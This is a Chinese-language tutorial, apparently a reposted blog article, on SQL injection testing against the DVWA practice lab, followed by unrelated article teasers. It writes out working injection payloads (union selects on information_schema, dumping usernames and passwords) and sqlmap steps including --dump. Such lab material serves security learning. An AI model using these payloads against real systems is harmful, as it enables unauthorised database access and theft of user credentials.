【测试开发】--安全渗透测试

1. 安全渗透

1.1 分类

  • web数据库安全
  • web应用服务器安全(文件上传漏洞、文件包含漏洞)
  • web客户端安全(XSS跨站攻击)

2. sql注入

2.1 sql注入介绍

  • sql注入在安全问题中排行榜首
  • sql注入攻击是输入参数未经过滤,然后直接拼接到sql语句当中解析
  • sql注入是一种将sql代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

2.2 sql注入原理

  • 攻击者在页面提交恶意字符
  • 服务器未对提交参数进行过滤或者过滤不足
  • 攻击者利用拼接sql语句方式获取数据库敏感信息

2.3 sql注入危害

  • 数据库泄漏
  • 用户数据被非法买卖
  • 危害web应用安全

2.4 sql注入实现方式

  • 手动
    • 查找:注入点
    • 输入:sql常用注入组合语法,进行注入
  • 自动(工具)
    • 工具:扫描注入点
    • 输入:自动尝试各种组合语法

3.环境搭建

3.1 vmware虚拟机

3.1.1 作用

  • 虚拟机软件,可以使用软件在物理机上安装多个虚拟操作系统(Linux、windows)
  • 靶机与渗透剂运行以来VMware软件
    VMware下载教程

3.2 靶机(学习使用项目环境)

作用

  • 一个Linux虚拟机系统,在这个虚拟机中安装了一些已知漏洞的web应用程序,方便学习
  • OWASP靶机安装教程

3.3 渗透机(学习攻击sql注入环境)

作用:

  • Kali包含数百种工具,可用于各种信息安全任务,例如渗透测试,安全研究

4. 手动注入

4.1 环境准备

说明:通过靶机web应用程序,练习手动注入
步骤:

  • 启动靶机OWASP
    在这里插入图片描述

  • 通过浏览器访问靶机

  • 访问OWASP-dvwa项目
    在这里插入图片描述

  • 登陆
    在这里插入图片描述

  • 选择sql注入应用程序
    在这里插入图片描述

4.2 查找注入点

说明:主要采用单引号,转义字符\,以单引号为主
原理:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';

在这里插入图片描述

在这里插入图片描述

4.3 逻辑或

在这里插入图片描述

4.4 猜测列数

  1. 通过union
' union select 1,2 #

在这里插入图片描述
2. 通过逻辑或

'or 1=1#

在这里插入图片描述

4.5 获取数据库、表、列

获取数据库名

' union select 1,database()#

在这里插入图片描述
获取表

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

获取列

' union select column_name,1 from information_schema.columns where table_name='users' #

在这里插入图片描述

4.6 获取数据

//1. 获取单个字段数据
' union select user,1 from users#//2. 获取两个字段
' union select user,password from users#

在这里插入图片描述

4.7 concat函数

作用:拼接多个字符串为一个字符串
语法:concat(str1,str2,…)
示例:

  • 获取users表中user_id,user,password,分为两列显示
select user_id,concat (user,password) from dvwa,users;

在这里插入图片描述

  • 解决user和password拼接在一起的问题
select user_id,concat('user:',user,' password:',password) from dvwa.users;

在这里插入图片描述

  • 获取多个字段
' union select user,concat(first_name,' ',last_name,' ',password) from users#

在这里插入图片描述

5. 自动注入

5.1 自动注入介绍

说明:自动注入是指利用工具代替人工去完成sql注入操作
工具:sqlmap

5.2 自动注入环境

  • 启动靶机
  • 启动渗透机

5.3 sqlmap

工具:sqlmap

  • 一个开源渗透测试工具
  • 自动检测和利用sql注入漏洞并接管数据库服务器
    搭建:

5.3.1 sqlmap基本用法

参数

  • -u:扫描的目标url
  • –batch:自动处理提示信息
  • –cookie:附加cookie参数

步骤

  • 扫描注入点
  • 获取数据库名
  • 获取表名
  • 获取字段名
  • 获取数据

由于需要登陆,我们首先获取已登录页面的cookie
在这里插入图片描述
然后开始扫描注入点
在这里插入图片描述
成功注入
在这里插入图片描述

5.3.2 sqlmap获取库名

– current-db:查询当前web使用的数据库名
-D:应用指定数据库
在这里插入图片描述
运行结果:
在这里插入图片描述

5.3.3 sqlmap获取表

– current-db:查询指定库下所有表名(需要先使用-D指定库名)
-T:指定表
在这里插入图片描述

运行结果:
在这里插入图片描述

5.3.4 sqlmap获取列

– columns:查询指定表下所有字段(需要先使用-T指定表名)
-C:指定字段名

在这里插入图片描述
运行结果:
在这里插入图片描述

5.3.5 sqlmap获取数据

–dump:下载数据

在这里插入图片描述
运行结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/374525.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL的约束键多表查询

约束 概念 概念:约束是作用于表中字段上的规则,用于限制存储在表中的数据。目的:保证数据中数据的正确、有效性和完整性。 外键约束 概念 ​ 外键用来让两张表的数据之间建立连接,从而保证数据的一致性和完整性。 注意&#x…

最优化(10):牛顿类、拟牛顿类算法

4.4 牛顿类算法——介绍了经典牛顿法及其收敛性,并介绍了修正牛顿法和非精确牛顿法; 4.5 拟牛顿类算法——引入割线方程,介绍拟牛顿算法以及拟牛顿矩阵更新方式,然后给出了拟牛顿法的全局收敛性,最后介绍了有限内存BFG…

202-509SF 同轴连接器

型号简介 202-509SF是Southwest Microwave的连接器。这款连接器机身和法兰由不锈钢合金 UNS-30300 制成,螺纹接头则采用 5C360 黄铜合金。接触点采用 BeCu 合金,并经过镀金处理,以提供优异的导电性和耐腐蚀性。绝缘体则由 PTFE 氟碳或 ULTEM …

Backend - C# 的日志Lognet4

目录 一、安装 log4net 插件 (一)作用 (二)操作 (三)注意 二、配置 (一)配置AssemblyInfo.cs (二)配置log4net.config 1. 创建log4net.config文件&#xff08…

3.动态规划.基础

3.动态规划.基础 基础理论背包基础理论01背包完全背包多重背包 题目1.斐波那契数2.爬楼梯3.使用最小花费爬楼梯4.不同路径5.不同路径2 基础理论 动态规划,英文:Dynamic Programming,简称DP,如果某一问题有很多重叠子问题&#xf…

【Linux】常见指令收官权限理解

tar指令 上一篇博客已经介绍了zip/unzip指令,接下来我们来看一下另一个关于压缩和解压的指令:tar指令tar指令:打包/解包,不打开它,直接看内容 关于tar的指令有太多了: tar [-cxtzjvf] 文件与目录 ...…

VSCode升级后不能打开在MacOS系统上

VSCode 在MacOS无法打开 版本 VSCode version: 1.91.0 (x64) 错误信息: MacBook-Pro ~ % /Users/mac/Downloads/FirefoxDownloads/Visual\ Studio\ Code.app/Contents/MacOS/Electron ; exit; [0710/142747.971951:ERROR:crash_report_database_mac.mm(753)] op…

RFID技术革新养猪业,构建智能化养殖场

RFID技术作为无线射频识别技术的一种,凭借着非接触、高效识别的特性,在养殖业行业中得到了广泛的应用,为构建智能化、高效化的养殖场提供了强大的技术支持,给传统养殖业带来了一场前所未有的技术变革。以下是RFID技术在养猪行业不…

Qt 网络编程 网络信息获取操作

学习目标:网络信息获取操作 前置环境 运行环境:qt creator 4.12 学习内容 一、Qt 网络编程基础 Qt 直接提供了网络编程模块,包括基于 TCP/IP 的客户端和服务器相关类,如 QTcpSocket/QTcpServer 和 QUdpSocket,以及实现 HTTP、FTP 等协议的高级类,如 QNetworkRe…

mysql判断时间段是否重合

mysql判断时间段是否重合 SELECT CASE WHEN t1.start_time < t2.end_time AND t1.end_time > t2.start_time THEN ‘重合’ ELSE ‘不重合’ END AS result FROM table_name t1, table_name t2 WHERE t1.id <> t2.id;

dolphinScheduler + hive + datax报错记录

1、参数错误 报错信息 [INFO] 2024-04-11 06:43:18.386 - [taskAppIdTASK-29-3301-84461]:[498] - after replace sql , preparing : insertoverwrite table mis_month partition (dt) select nvl(sl.slid , ) as id,--水量 IDnvl(sl.hh …

张量笔记(4):张量网络

张量分解通常是将高维张量分解成一系列较低维的张量&#xff0c;表示能力相对较低。而张量网络可以表示复杂的高维数据结构&#xff0c;通过连接多个张量形成网络结构&#xff0c;可以更灵活地表示和处理复杂的数据关系。本节主要介绍HT和TT网络。 2.5.1 HT分解——首先我们引入…

【软件测试工具】-抓包工具Fiddler使用讲解

Fiddler使用讲解 1.认识fiddler Fiddler是一个http协议调试代理工具&#xff0c;主要检查电脑和互联网之间的http通讯。&#xff08;抓包工具&#xff09; 特点&#xff1a;简单方便&#xff0c;比较灵活 工作原理&#xff1a; 当浏览器向服务器请求数据时&#xff0c;被Fiddl…

K8S 集群节点缩容

环境说明&#xff1a; 主机名IP地址CPU/内存角色K8S版本Docker版本k8s231192.168.99.2312C4Gmaster1.23.1720.10.24k8s232192.168.99.2322C4Gwoker1.23.1720.10.24k8s233&#xff08;需下线&#xff09;192.168.99.2332C4Gwoker1.23.1720.10.24 1. K8S 集群节点缩容 当集群中有…

百数教学秘籍:三步走,轻松规划你的自动化计划任务

通过设定任务计划&#xff0c;用户可以轻松安排指定的功能插件或数据助手在特定时间自动执行&#xff0c;有效提高工作效率&#xff0c;还确保了数据的及时更新和处理。任务计划在应用启动时自动启动并在后台运行&#xff0c;无需用户持续监控&#xff0c;为用户带来极大的便利…

企业网站源码系统 自主快速搭建响应式网站 海量模版随心选择 带完整的源代码包以及搭建教程

系统概述 企业网站源码系统&#xff0c;是一款专为中小企业量身定制的网站建设解决方案。该系统基于先进的Web开发技术&#xff0c;融合了模块化设计理念和用户友好的操作界面&#xff0c;旨在帮助企业用户无需编程基础&#xff0c;即可轻松搭建出符合自身需求的响应式网站。通…

大语言模型基础

大语言基础 GPT : Improving Language Understanding by Generative Pre-Training 提出背景 从原始文本中有效学习的能力对于减轻自然语言处理中对监督学习的依赖至关重要。很多深度学习方法需要大量人工标注的数据&#xff0c;限制了它们在很多领域的应用&#xff0c;收集更…

双向带头循环链表

一、概念 何为双向&#xff1a;此链表每一个节点的指针域由两部分组成&#xff0c;一个指针指向下一个节点&#xff0c;另一个指针指向上一个节点&#xff0c;并且两头的节点也是如此&#xff0c;头节点的下一个节点是尾节点&#xff0c;尾节点的上一个节点是头节点&#xff1b…

ubuntu下载Nginx

一、Nginx下载安装&#xff08;Ubuntu系统&#xff09; 1.nginx下载 sudo apt-get install nginx2.nginx启动 启动命令 sudo nginx重新编译(每次更改完nginx配置文件后运行&#xff09;&#xff1a; sudo nginx -s reload3.测试nginx是否启动成功 打开浏览器访问本机80端口…

javaweb学习day1《HTML篇》--新浪微博(前端页面的创建思路及其HTML、css代码详解)

一、前言 本篇章为javaweb的开端&#xff0c;也是第一篇综合案例&#xff0c;小编也是看着黑马程序员的视频对里面的知识点进行理解&#xff0c;然后自己找一个新浪微博网页看着做的&#xff0c;主要还是因为懒&#xff0c;不想去领黑马程序员的资料了。 小编任务javaweb和ja…